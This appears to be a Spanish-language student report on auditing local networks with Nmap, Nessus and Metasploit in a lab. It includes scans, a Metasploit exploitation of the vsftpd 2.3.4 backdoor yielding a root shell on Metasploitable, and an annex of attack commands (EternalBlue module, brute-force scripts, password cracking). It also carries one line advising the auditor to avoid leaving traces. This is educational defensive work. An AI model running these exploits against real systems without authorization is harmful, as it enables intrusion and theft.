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Introduccion

En la actualidad el incremento de las amenazas cibernéticas exige que se implementen

medidas de seguridad robustas para la proteccion de los sistemas informéticos

En el presente documento se presenta una guia préctica para realizar auditorias de seguridad
en redes locales. Mediante el empleo de herramientas de escaneo de renombre como Nmap,
Nessus y Metasploit, se busca identificar de las vulnerabilidades que podrian comprometer

la integridad y confidencialidad de un sistema informaético.

Se brinda informacién acerca de cada una de las herramientas mencionadas, asi como su
aplicacion en el proyecto, detallando las configuraciones realizadas para su funcionamiento

adecuado.

Ademas, se incluye un manual de usuario practico que facilita la implementacion de las
técnicas descritas. A través de este trabajo se busca contribuir al fortalecimiento de las
evaluaciones de seguridad informatica en las organizaciones y tomar medidas correctivas

para mitigar los riesgos identificados.



Objetivos

Objetivo General
Implementar un proceso de escaneo de vulnerabilidades en redes locales para identificar y

mitigar riesgos de seguridad

Objetivos Especificos
e Investigar el funcionamiento y las caracteristicas de herramientas como Nmap,
Nessus y Metasploit
e Estudiar las mejores practicas para identificar y mitigar vulnerabilidades en redes
informéticas mediante herramientas de escaneo
e Realizar una auditoria de seguridad en una red local utilizando las herramientas

seleccionadas identificando las vulnerabilidades presentes para su mitigacion.



Marco Tedrico

Una auditoria de red es un proceso fundamental para garantizar la fiabilidad, seguridad y
eficiencia de un sistema informéatico en una organizacion. Este consiste en examinar los
componentes que componen la red como pueden ser servidores, politicas de seguridad y

précticas operativas con la finalidad de encontrar vulnerabilidades o posibles riesgos.

Si bien sabemos en la actualidad en su mayoria las empresas y organizaciones mantienen su
informacidn de forma digital, mayormente se guarda todo en servidores ya sea de forma local
0 en la nube, pero desde el momento que estan conectados a una red estos se vuelven
vulnerables al no contar con la debida seguridad lo que puede dejar a la deriva informacion
confidencial o personal en algunos casos hasta podria afectar las operaciones que realiza una

organizacion.

¢ Qué es Pentesting? Es una practica mediante la cual se puede poner a prueba la reaccion
de una red ante un ataque informatico. La préactica es novedosa y consiste en determinar el
alcance de los fallos de seguridad de un sistema atacando diferentes entornos o sistemas
permitiendo descubrir todas las areas y encontrar esas vulnerabilidades que en un ataque real

seria un gran problema para la organizacion.
Existen 3 formas al realizar un Pentesting:

- White Box: Es el ataque mas completo en le que el auditor conoce todos los datos de
la organizacion, como la estructura, contrasefas, IPs, Firewalls, etc.
- Black Box: Es el ataque mas real en la que el auditor tiene pocos o casi nula

informacidn sobre la organizacion, por lo que se presenta como un ciberatacante



- Grey Box: Es una mezcla de los anteriores casos, el auditor tiene cierta informacion
de la organizacion para el ataque, suele ser el mas recomendado debido que de esta

forma se pueden verificar méas areas de vulnerabilidad.

Entre las herramientas mas comunes para auditoria de redes, podemos destacar las siguientes:

Nmap: Es la abreviatura de Network Mapper, tal como su nombre lo indica nos permite
escanear y detectar dispositivos se estan ejecutando en una red, asi como direcciones IP y
puertos abiertos. Esto le permite encontrar vulnerabilidades con mayor facilidad ya que
reconoce los dispositivos (Servidores, enrutadores, dispositivos moviles) también servicios
(servidores DNS, servidores web), asi como el sistema operativo que se ejecuta en cada
dispositivo. Evidentemente es una herramienta que gracias a sus caracteristicas es
considerada las mas famosa y muchos profesionales de la materia la prefieren. Cabe

mencionar que es gratuita.

Nessus: Al igual qgue Nmap es un escaner de redes que de igual forma nos permite encontrar
vulnerabilidades mediante la revision servidores, dispositivos mdviles, firewall y hasta
routers. Una vez el escaneo finaliza Nessus lo presenta en un informe donde se detalla si
encuentra vulnerabilidades, nivel de gravedad y brinda sugerencias para poder corregirlas;
permite simular un ataque informatico y eso brinda una mejor vista de la efectividad de las
defensas de la organizacién. Es necesario mencionar que esta herramienta no es gratuita su

precio ronda desde $4,000 a $6,000 anualmente.

Metasploit: Considerada una herramienta de hacking ético permite evaluar la seguridad de
un sistema informatico, incluye una amplia variedad de mddulos, exploits y payloads lo cual

facilita la tarea al momento de realizar la auditoria, ya que, con la combinacion de sus



modulos, que permite encontrar vulnerabilidades o programarle una accion en el sistema, sus
exploits, aprovechando la vulnerabilidad para conseguir acceso al sistema informatico, y sus
payloads para ejecutar acciones en el sistema una vez ha ingresado al mismo. Como podemos
notar es una herramienta muy completa y es gratuita al igual que Nmap, pero Metasploit a la

vez que escanea la red permite ir ejecutando acciones lo cual hace mas eficaz el vulnerar el

sistema.



Implementacion y pruebas
Se realiza primero la instalacion de Virtual Box para la practica, se descarga de acuerdo al
sistema operativo en la computadora.

Vfg Virtua]BOX Home Download Documentation Community @

Download VirtualBox

The VirtualBox Extension Pack is available for personal and educational use on this page under the PUEL license. The VirtualBox Extension Pack Is also
available under commercial or enterprise terms. By downloading, you agree to the terms and conditions of the respective license.

V S TTTTTTETD

VirtualBox Platform Packages
VirtualBox 7.1.4 platform packages

VirtualBox Extension Pack
VirtualBox 7.1.4 Extension Pack

Windows hosts This VirtualBox Extension Pack Personal Use and Educational License
governs your access to and use of the VirtualBox Extension Pack. It does
not apply to the VirtualBox base package and/or its source code, which

are licensed under version 3 of the GNU General Public License "GPL").

macO0S / Intel hosts

macOS / Apple Silicon hosts

Linux distributions See our FAQ for answers to common questions.

Solaris hosts VirtualBox Extension Pack Personal Use and Educational License x

PUEL License FAQ Jll PUEL License Text Accept and download

(- |'2 1B < ot

(

Solaris 11 IPS hosts

Platform packages are released under the terms of the GPL version 3

\ AENS\UNENENINEREN

Se descarga la 1SO de Kali Linux desde su sitio oficial https://www.kali.org/get-kali/#kali-
platforms

Choose your Platform
® o

Installer Images Virtual Machines

Single or multiple boot Kali, giving you complete VMware & VirtualBox pre-built images. Allowing for a

control over the hardware access (perfect for in-built | Kali install without altering the host OS with additional

Wi-Fi and GPU), enabling the best performance. features such as snapshots. Vagrant images for quick
spin-up also available.

® Recommended % Recommended



https://www.kali.org/get-kali/#kali-platforms
https://www.kali.org/get-kali/#kali-platforms

Preparamos la maquina virtual para la instalacion del Sistema Operativo Kali Linux

§# Oracle VM VirtualBox Administrador

Archivo Maquina Ayuda

f— » 4+ 8 .

Nueva | Afadir Configuracion Iniciar

W Nombre y sistema operativo
Nombre: Kali Linux
Carpeta: [ C:\Users\Xande\VirtualBox VMs

Imagen ISO: . C:\Users\Xande\VirtualBox VMs\14393.0.161119-1705.RS1_REFRESH_SERVER EVAL_X64FRE_ES-ES.ISO

Tipo: | Microsoft Windows
Version:  Windows 2016 (64-bit)
v Omitir instalacion desatendida
) Instalacion desatendida

) Hardware

) Disco duro

Configuramos el tipo de red utilizando Adaptador puente

Red

Adaptador 1

NAT
Conectado a:  Adaptador puente
| Redintema = PCI-E NIC
Adaptador sélo anfitrion

» Avanzado

Controlador genérico
Red NAT
Red en la nube [EXPERIMENTAL]

No conectado

Se inicia la maquina virtual y sigue las instrucciones en pantalla para instalar Kali Linux.



Para la simulacion del ciber atague descargamos Metasploit, es un sistema para poder simular
ataques, tiene fallos y vulnerabilidades aproposito, con la finalidad de poder practicar en un
entorno controlado.

Se realiza la descarga desde el siguiente enlace
https://sourceforge.net/projects/metasploitable/

SOURCEFORGE

Open Source Software Business Software SourceForge Podcast Resources

/ Metasploitable

Metasploitable

Metasploitable is an intentionally vulnerable Linux virtual machine
Brought to you by:

). 0.0 .0 & ¢ Downloads: Last Update:

Download Get Updates Share This

Realizamos el mismo procedimiento de instalacion que la maquina virtual de Kali Linux y
estamos listo para comenzar la auditoria.

Herramientas a utilizar para realizar el Pentesting

Kali Linux ya tiene integradas muchas herramientas para el hacking ético, como por ejemplo
Nmap y Metasploit.

NMAP

Herramienta de cddigo abierto para exploracion de red y auditoria de seguridad. Se disefid
para analizar rapidamente grandes redes, aunque funciona muy bien contra equipos
individuales.



https://sourceforge.net/projects/metasploitable/

METASPLOIT

Herramienta muy poderosa que pueden usar tanto los cibercriminales como los hackers éticos
para investigar vulnerabilidades sistematicas en redes y servidores. Como es un marco de
cddigo abierto, se puede personalizar facilmente y usar con la mayoria de los sistemas
operativos.

Mediante Kali Linux podemos acceder a este mediante el siguiente comando:

CHERRYTREE

Es una herramienta muy practica que nos permitird tomar notas y guardar cualquier tipo de
texto al que podremos acceder para revisarlo o seguir tomando notas en cualquier momento.
Esta herramienta la usaremos para documentar nuestra auditoria paso a paso.

X (v]iA CherrytreeManual.ctb - /home/giuspen/Scaricati - CherryTree 0.33.4

File Edit Formatting Tree Search Replace View Bookmarks Import Export Help

'L €Y Brmy Q EEE BN Y A raagadahhhs @ams
W Introduction

@ Aboutthis manual

v @ Getting Started Cherrytree 0.33.3
v @ Preferences
o All Nodes
& Rich Text

_/ Plain Text and Code

o Tree

£ Fonts
£ Links Cherrytree is what's referred to as an "hierarchal" note taking application, meaning it's designed to store
your entries in containers, which some programs call "notes" or "pages" and Cherrytree calls "nodes". If

£ Miscellaneous i :
o = you envision the Cherrytree document as the root of a tree, and each "node" as a branch in that tree, sub-

@ Chemytree File Formats nodes as branches off that branch, you will start to get the idea. If you have ever used outlining programs
@ Command Line Options like OmniNote, Kjots, Keepnote and others, then Cherrytree will feel very familiar. However, Cherrytree is
» & Userinterface not just about having a place to write notes and to-do items and keeping them organized, it's also a place
you can store links, pictures, tables, even entire documents. It can be your one program for all the
¢ Importing and miscellaneous information you have and want to keep. All those little bits of information you have
Exporting scattered around your hard drive can be conveniently placed into a Cherrytree document where you can
. Create Table of easily find it
@ Contents Just having a place to put notes and bits of information would not be much help if you had to go through
v @ Inserting Objects a lot of trouble ﬁndlng‘a particular piece of it This is where Cherryt{ee [eally excels. It's powerful search
@ Drag and Drop functions help you easily and quickly find anything you have put in it. If you can do no more than
J remember one word of what you're looking for, Cherrytree can find it, fast. As you become more familiar
@ Copy and Paste with some of Cherrytree's advanced functions, you will also be able to link related information and make
» @ From the Toolbar better use of it.
@ Searching In Chemytree So go ahead, give Cherrytree a try. In the next few pages we'll go over how to get started with some of
the basic uses. People already familiar with outlining software may want to jump ahead to the more
@ Changelog advanced features. However you start, we believe you're going to love Cherrytree!
@ Credits Explore! Have fun!

Node Type: Rich Text

Instalacion

Con este comando se inicializar la descarga de nuestro paquete de Cherrytree

)—[~]

>t install cherrytreelj



Implementando NMAP
Escaneando puertos TCP

El siguiente comando escaneara todos los puertos tcp del dispositivo de la direccion
192.168.1.101

- )~ [~]
—$ ping -c 2 192.168.1.101

PING 192.168.1.101 (192.168.1.101) 56(84) bytes of data.

64 bytes from 192.168.1.101: icmp_seq=1 ttl=128 time=5.29 ms
64 bytes from 192.168.1.101: icmp_seq=2 ttl=128 time=3.94 ms

— 192.168.1.101 ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/avg/max/mdev = 3.943/4.618/5.294/0.675 ms

’77‘» “”‘,~f

L$ nmap -sS 192.168.1.101

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-18 21:27 ES
T

Nmap scan report for 192.168.1.101

Host is up (0.0012s latency).

Not shown: 996 closed tcp ports (reset)

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

5357/tcp open wsdapi

MAC Address: 08:00:27:EC:FF:03 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.97 seconds

¢ Qué podemos observar?
Host activo: El host esta encendido y responde a las solicitudes de Nmap
Puertos abiertos: Se han detectado varios puertos TCP abiertos.

e 135/tcp: msrpc (Microsoft RPC): Este servicio es utilizado por muchos componentes
de Windows para comunicarse entre si.

e 139/tcp: NetBIOS: NetBIOS es un protocolo de red utilizado para compartir recursos
en redes pequefias.

e 445/tcp: microsoft-ds (Microsoft Directory Services): Este servicio proporciona un
directorio centralizado para almacenar informacion sobre usuarios, equipos y otros
objetos de la red.

o 5357/tcp: wsdapi (Web Services for Devices API): Este servicio se utiliza para
descubrir y administrar dispositivos en una red.



Implicaciones de seguridad
La presencia de estos puertos abiertos y servicios puede indicar posibles vulnerabilidades:

e MSRPC: Es vulnerable a diversos ataques, incluyendo ataques de dia cero.

e NetBIOS: Los servicios NetBIOS pueden ser explotados para realizar ataques de
denegacion de servicio y ataques de fuerza bruta.

e SMB (Server Message Block): El protocolo SMB, que utiliza el puerto 445, es
vulnerable a maltiples exploits, como EternalBlue y SMBGhost.

Recomendaciones:

Actualizar el sistema operativo y las aplicaciones: Es fundamental mantener el sistema
operativo y todas las aplicaciones instaladas actualizadas con los ultimos parches de
seguridad.

Bloquear puertos innecesarios: Si algunos de los puertos abiertos no son necesarios, se
recomienda bloquearlos para reducir la superficie de ataque.

Implementar un firewall: Un firewall puede ayudar a proteger la red al filtrar el tréfico
entrante y saliente. Utilizar un IDS: Un sistema de deteccién de intrusiones puede ayudar a
detectar y responder a ataques en tiempo real.

Realizar auditorias de seguridad regulares: Es importante realizar auditorias de seguridad
periddicas para identificar y corregir cualquier vulnerabilidad.

Escaneando puertos UDP

El siguiente comando escaneara todos los puertos UDP del dispositivo. Muchos servicios
criticos como DNS, DHCP y TFTP utilizan UDP. Un escaneo UDP permitiré identificar estos
servicios y evaluar posibles vulnerabilidades.

—( )-[~]
L nmap -sU 192.168.1.101
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-18 21:32 EST
Stats: 0:14:12 elapsed; @ hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 79.37% done; ETC: 21:50 (0:03:42 remaining)
Stats: 0:14:13 elapsed; @ hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 79.47% done; ETC: 21:50 (0:03:41 remaining)
Stats: 0:16:50 elapsed; @ hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 92.47% done; ETC: 21:50 (0:01:22 remaining)
Nmap scan report for 192.168.1.101
Host is up (0.0017s latency).
Not shown: 991 closed udp ports (port-unreach)

STATE SERVICE

open netbios-ns

open|filtered netbios-dgm

open|filtered isakmp

open|filtered upnp

open|filtered ws-discovery

open|filtered nat-t-ike

open|filtered mmcc

open|filtered zeroconf

open|filtered 1lmnr

Address: ©08:00:27:EC:FF:03 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1093.19 seconds




Posibles implicaciones de seguridad:
La presencia de ciertos puertos abiertos y servicios puede indicar posibles vulnerabilidades:

e UPnP (Universal Plug and Play): Este servicio puede ser utilizado por atacantes para
acceder a la red interna.

e WS-Discovery: Este protocolo puede ser explotado para descubrir dispositivos en la
red y lanzar ataques. NetBIOS: Los servicios NetBIOS pueden ser vulnerables a
diversos ataques.

Recomendaciones

1. Investigar los servicios: Para evaluar el riesgo asociado a los servicios detectados, es
necesario investigar a fondo cada uno de ellos y buscar cualquier vulnerabilidad
conocida.

2. Bloquear puertos innecesarios: Si algunos de los puertos abiertos no son necesarios,
se recomienda bloquearlos para reducir la superficie de ataque.

3. Mantener los sistemas actualizados: Es fundamental mantener todos los sistemas
operativos y aplicaciones actualizados con los Gltimos parches de seguridad.

4. Implementar un firewall: Un firewall puede ayudar a proteger la red al filtrar el tréfico
entrante y saliente.

L~
I ) script "vuln" -p135 192.168.150.29
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-19 21:05 EST
Nmap scan report for 192.168.150.29
Host is up (0.0021s latency).

PORT STATE SERVICE
135/tcp open msrpc
MAC Address: 08:00:27:EC:FF:03 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 25.15 seconds

)-[~]
map script "vuln" -p445 192.168.150.29
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-19 21:07 EST
Nmap scan report for 192.168.150.29
Host is up (0.0036s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 08:00:27:EC:FF:03 (Oracle VirtualBox virtual NIC)

Host script results:

| _samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ER
ROR

| _smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR

| _smb-vuln-ms10-054: false

Nmap done: 1 IP address (1 host up) scanned in 15.56 seconds




Vulnerabilidades:

samba-vuln-cve-2012-1182: No se pudo establecer una conexion para verificar esta
vulnerabilidad. smb-vuln-ms10-061: Tampoco se pudo establecer una conexion para
verificar esta vulnerabilidad. smb-vuln-ms10-054: Se determiné que esta vulnerabilidad no
esta presente.

Interpretacion:

Vulnerabilidades Indeterminadas: Las dos primeras vulnerabilidades (CVE-2012-1182 y
MS10-061) no pudieron ser verificadas debido a problemas al establecer una conexién SMB.

Esto podria deberse a varias razones, como firewalls, configuracion del servicio SMB o
problemas de red. Vulnerabilidad Ausente: La vulnerabilidad MS10-054 no fue encontrada
en el sistema objetivo.

Se intento vulnerar todos puertos abiertos no encontrando vulnerabilidades a las cuales
explotar.

Segunda auditoria a un sistema Metasploitable

) ap -sV -0 192.168.150.247

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-19 21:23 EST
Nmap scan report for 192.168.150.247

Host is up (0.013s latency).

Not shown: 977 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl1 Debian 8ubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

513/tcp open login OpenBSD or Solaris rlogind

514/tcp open tcpwrapped

1099/tcp open java-rmi GNU Classpath grmiregistry

1524/tcp open bindshell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc UnrealIRCd

8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: ©08:00:27:3F:12:77 (Oracle VirtualBox virtual NIC)

No exact 0S matches for host (If you know what 0S is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:




:SCAN(V=7.94SVNBE=4%D=11/19%0T=21%CT=1%CU=38698%PV=Y%DS=1%DC=D%G=Y%M=0800
127%TM=673D481F%P=x86_64-pc-linux-gnu)SEQ(SP=CA%GCD=1%ISR=D1%TI=Z%CI=Z%II
:=I%TS=5)0PS(01=M5B4ST11NW7%02=M5B4ST11NW7%03=M5B4NNT11NW7%04=M5B4ST11NW7
:%05=M5B4ST11INW7%06=M5B4ST11 )WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%
:W6=16A0)ECN(R=Y%DF=Y%T=40%W=16D0%0=M5B4NNSNW7%CC=N%Q=)T1(R=Y%¥DF=Y%T=40%S
:=0%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=0%A=S+%F=AS%0=M5B4
:ST11INW7%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%0=%RD=0%Q=)T5(R=Y%DF=Y%
1 T=40%W=0%S=Z%A=S+%F=AR%0=%RD=0%Q=)T6 (R=Y¥DF=Y%T=40%W=0%S=A%A=Z%F=R%0=%RD
:=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%0=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL
:=164%UN=0%RIPL=G%RID=G%¥RIPCK=G%RUCK=G%RUD=G)IE(R=Y¥DFI=N%T=40%CD=S )

Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe
:/o:linux:linux_kernel

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 27.28 seconds

[~
—$%$ nmap --script "vuln" -p21 192.168.150.247
tarting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-19 21:31 EST
Nmap scan report for 192.168.150.247
Host is up (0.023s latency).

PORT STATE SERVICE

1/tcp open ftp

| ftp-vsftpd-backdoor:

|  VULNERABLE:

| VSFTPd version 2.3.4 backdoor

| State: VULNERABLE (Exploitable)

| IDs: CVE:CVE-2011-2523 BID:48539

| VsSFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.

| Disclosure date: 2011-07-03

| Exploit results:

| Shell command: id

| Results: uid=0(root) gid=0(root)

| References:

| https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd

34_backdoor.rb
https://ww.securityfocus.com/bid/48539
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523

AC Address: 08:00:27:3F:12:77 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 11.91 seconds

Vulnerabilidad critica:

Se ha detectado una vulnerabilidad critica en el servidor FTP vsftpd, especificamente la
CVE-2011-2523. Esta vulnerabilidad permite a un atacante remoto ejecutar comandos con
privilegios de root:

e Exploitable: Nmap indica claramente que esta vulnerabilidad es exploitable, lo que
significa que un atacante podria aprovecharla para obtener acceso completo al
sistema.

o vsftpd vulnerable: La version de vsftpd que esta ejecutando el servidor (2.3.4) es
vulnerable a una falla de seguridad que permite a un atacante remoto ejecutar
comandos con privilegios de root.

Riesgo Elevado: Esta vulnerabilidad representa un riesgo extremadamente alto para la
seguridad del sistema, ya que un atacante podria tomar el control completo del servidor.



Recomendaciones:

Accion Inmediata: Es crucial abordar esta vulnerabilidad lo antes posible. Un atacante
podria aprovecharla para robar datos, instalar malware o incluso tomar el control completo
del sistema.

Actualizar vsftpd: La primera medida a tomar es actualizar vsftpd a una version que no sea
vulnerable a CVE-2011-2523. Consulta la documentacion oficial de vsftpd para obtener
instrucciones especificas sobre como actualizar.

Deshabilitar FTP: Si no es estrictamente necesario, considera deshabilitar el servicio FTP
por completo, ya que existen protocolos méas seguros para transferir archivos (como SFTP o
FTPS).

Aplicar Parches de Seguridad: Asegurate de que todos los sistemas estén actualizados con
los Gltimos parches de seguridad.

Implementar un Firewall: Configura un firewall para bloquear el acceso no autorizado al
puerto 21.

Monitorear Actividad: Utiliza herramientas de monitoreo de seguridad para detectar
cualquier actividad sospechosa en el sistema.

Importante

Etica: La explotacion de sistemas sin autorizacion es ilegal y puede tener graves
consecuencias legales. Solo realiza estas acciones en entornos de laboratorio autorizados y
con fines educativos.

Seguridad: Siempre ten en cuenta que, al obtener acceso a un sistema, estas asumiendo un
riesgo. Protege tu propia identidad y evita dejar rastro.



Implementando Metasploit

search CVE-2011-2523
results from search
use exploit/unix/ftp/vsftpd_234_backdoor
payload configured, defaulting to cmd/unix/interact
msf6 exploit( ) > set RHOST 192.168.150.247
RHOST = 192.168.150.247
msf6 exploit( ) > set RPORT 6200
RPORT = 6200
msf6 exploit( ) > run

192.168.150.247:6200 - Exploit failed [unreachable]: Rex::ConnectionRefused The connectio
n was refused by the remote host (192.168.150.247:6200).
Exploit completed, but no session was created.
msf6 exploit( ) > set RPORT 21
RPORT = 21
msf6 exploit( ) > run

192.168.150.247:21 - Banner: 220 (vsFTPd 2.3.4)
192.168.150.247:21 - USER: 331 Please specify the password.
Exploit completed, but no session was created.

msf6 exploit( ) > run

192.168.150.247:21 - The port used by the backdoor bind listener is already open
[+] 192.168.150.247:21 - UID: uid=0(root) gid=0(root)

Found shell.

Command shell session 1 opened (192.168.150.136:46707 — 192.168.150.247:6200) at 2024-11
-19 21:44:03 -0500

whoami
root
ifconfig
etho Link encap:Ethernet HWaddr 08:00:27:3f:12:77
inet addr:192.168.150.247 Bcast:192.168.150.255 Mask:255.255.255.0

Explicacion de los parametros:

1. msfconsole: Inicia la interfaz de linea de comandos de Metasploit.

2. use exploit/unix/ftp/vsftpd_234 backdoor: Selecciona el médulo de explotacion
especifico para la vulnerabilidad CVE-2011-2523

3. set RHOST <IP_del_objetivo>: Reemplaza <IP_del_objetivo> con la direccion IP
del sistema vulnerable.

4. set RPORT 6200: El puerto 6200 es el puerto por defecto utilizado por el backdoor.

5. run: Ejecuta el exploit.

Direccion IP y Puertos: Se muestra la direccion IP del sistema atacado (192.168.150.247)
y los puertos involucrados en la conexién (21 para el servicio FTP y 6200 para el backdoor).

Credenciales: Se indica que la sesién se obtuvo con los privilegios de root (UID=0 y
GID=0), lo que significa que el atacante tiene control total sobre el sistema.

Fecha y Hora: Se registra la fecha y hora en que se establecio la sesion.



Cronograma de Actividades

N Actividad

Designacion del tema del proyecto

Asignacion de tareas a cada integrante

Semana 1

Semana 2 | Semana 3

Semana 4

Semana 1

Semana 2

Semana 3

Semana 4

Investigacion tedrica sobre las herramientas

Entrega de primer avance

Implementacién de NMAP

Implementacion de Metasploit

Finalizacion de la documentacion

Entrega y defensa del proyecto final




Presupuesto

Costo
Estimado
Concepto Descripcion (USD) Observaciones
Personal Estudiantes 0
VirtualBox Gratuito Software de virtualizacion libre.
_ Gratuito Distribucion Linux enfocada en
Herramientas  |Kali Linux pruebas de penetracion.
Metasploit, Nmap, Gratuito Hfar_ramler)tas de hacking ético de
codigo abierto.
Conexion a internet 60 por mes Dependera del consumo de datos y
Infraestructura del proveedor de internet.
Electricidad 100 por mes
Otros Imprevistos 10% del total [para cubrir gastos no contemplados.
Total $160.00
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Anexos
Guia de Comandos para Auditoria de Seguridad en Red Local

1. Reconocimiento Inicial con Nmap
### Escaneo basico de red
bash
# Escaneo bésico de la red
nmap -sn 192.168.1.0/24  # Descubre hosts activos en la red

# Escaneo completo de puertos
nmap -sS -sV -0 192.168.1.0/24  # Escaneo sigiloso con deteccién de servicios y
SO

# Escaneo detallado de un host especifico
nmap -A -T4 -p- 192.168.1.x  # Escaneo agresivo de todos los puertos

### Deteccion de vulnerabilidades con Nmap

bash

# Escaneo de vulnerabilidades

nmap --script vuln 192.168.1.x  # Ejecuta scripts de vulnerabilidades

# Escaneo de malware
nmap --script malware 192.168.1.x  # Busca indicadores de malware

# Fuerza bruta de servicios
nmap --script brute 192.168.1.x  # Intenta fuerza bruta en servicios comunes

2. Analisis con Nessus
1. Acceder a Nessus (tipicamente en https://localhost:8834)
2. Crear un nuevo escaneo
e Basic Network Scan para escaneo general
e Advanced Scan para configuracion detallada

### Configuraciones recomendadas:

Name: Audit_[fecha]
Targets: 192.168.1.0/24
Policy: Internal Network Scan


https://localhost:8834/

3. Pruebas de Penetracion con Metasploit
### Iniciar Metasploit
bash
# Iniciar la consola de Metasploit
msfconsole

# Configuracion basica
workspace -a red_local # Crear nuevo espacio de trabajo

### Comandos basicos de reconocimiento
bash

# Escaneo de servicios

db_nmap -sS -sV 192.168.1.0/24

# Busqueda de exploits
search type:exploit platform:windows

# Uso de un exploit

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.x

exploit

4. Andlisis de Trafico con Wireshark
### Captura de trafico
bash
# Desde terminal (tshark)
tshark -i ethO -w captura.pcap # Captura trafico en archivo

### Filtros Utiles en Wireshark

# Filtros comunes

ip.addr == 192.168.1.x # Trafico de un host especifico
http # Solo trafico HTTP

tcp.port == 80 # Trafico en puerto especifico

5. Evaluacion de Contrasefias
### John The Ripper
bash
# Crackeo basico de contrasefias
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt



# Modo incremental
john --incremental hash.txt

Reportes y Documentacion

### Crear reporte con documentacion

bash

# Exportar resultados de Nmap

nmap -sV 192.168.1.0/24 -0A reporte_nmap

# Convertir a formato HTML
xsltproc reporte_nmap.xml -0 reporte_nmap.html

Verificacion de Configuraciones

### Revision de servicios activos

bash

# Linux

netstat -tuln  # Muestra puertos abiertos
ps aux # Procesos en ejecucion

# Windows
netstat -ano  # Puertos y conexiones
tasklist # Procesos activos

Buenas Practicas de Seguridad

1. Documentar todos los hallazgos

2. Realizar capturas de pantalla de vulnerabilidades

3. Mantener un registro de todas las pruebas realizadas

4. Verificar permisos antes de cada prueba

5. Hacer copias de seguridad antes de modificar configuraciones
6. Seguir una metodologia estructurada (OSSTMM, PTES, etc.)

Notas Importantes

- Siempre obtener autorizacién antes de realizar pruebas
- Documentar cada paso realizado

- Mantener un entorno de pruebas controlado

- Evitar modificaciones permanentes en sistemas criticos
- Reportar inmediatamente vulnerabilidades criticas

- Mantener la confidencialidad de los hallazgos



Documentacién Técnica
1. Especificaciones técnicas

1.1.

1.2.

Arquitectura del Sistema
Sistema de Auditoria
— Maodulo de Reconocimiento (Nmap)
— Modulo de Andlisis de Vulnerabilidades (Nessus)
— Maodulo de Penetracion (Metasploit)
— Maodulo de Analisis de Trafico (Wireshark)
Requisitos del Sistema
Requisitos minimos de Hardware
» Procesador: Intel Core i5 0 AMD equivalente
* RAM: 8GB
= Almacenamiento: 50GB SSD
= NIC: Tarjeta de red compatible con modo promiscuo
Requisitos recomendados de Hardware
» Procesador: Intel Core i7 0o AMD Ryzen 7}
= RAM: 16GB
= Almacenamiento: 100GB SSD
= NIC: Intel PRO/1000 PT o similar
Software
= SO: Kali Linux 2023.1 o superior
= Kernel: 5.15 o superior
= Python: 3.9+
= PostgreSQL: 13+
= Java: OpenJDK 11+

2. [Especificaciones de los Componentes

2.1.

Madulo de Reconocimiento (Nmap)
Caracteristicas Técnicas
yaml
Version: 7.93+
Protocolos: TCP, UDP, SCTP
Métodos de Escaneo:

- SYN scan (-sS)

- TCP connect scan (-sT)

- UDP scan (-sU)

- Version detection (-sV)



2.2.

2.3.

2.4.

Configuracion de Red

bash

# Configuracion de interfaz

MTU: 1500

Modo: Promiscuo

Buffer de captura: 65535

Maédulo de Analisis de Vulnerabilidades (Nessus)
Especificaciones

yaml

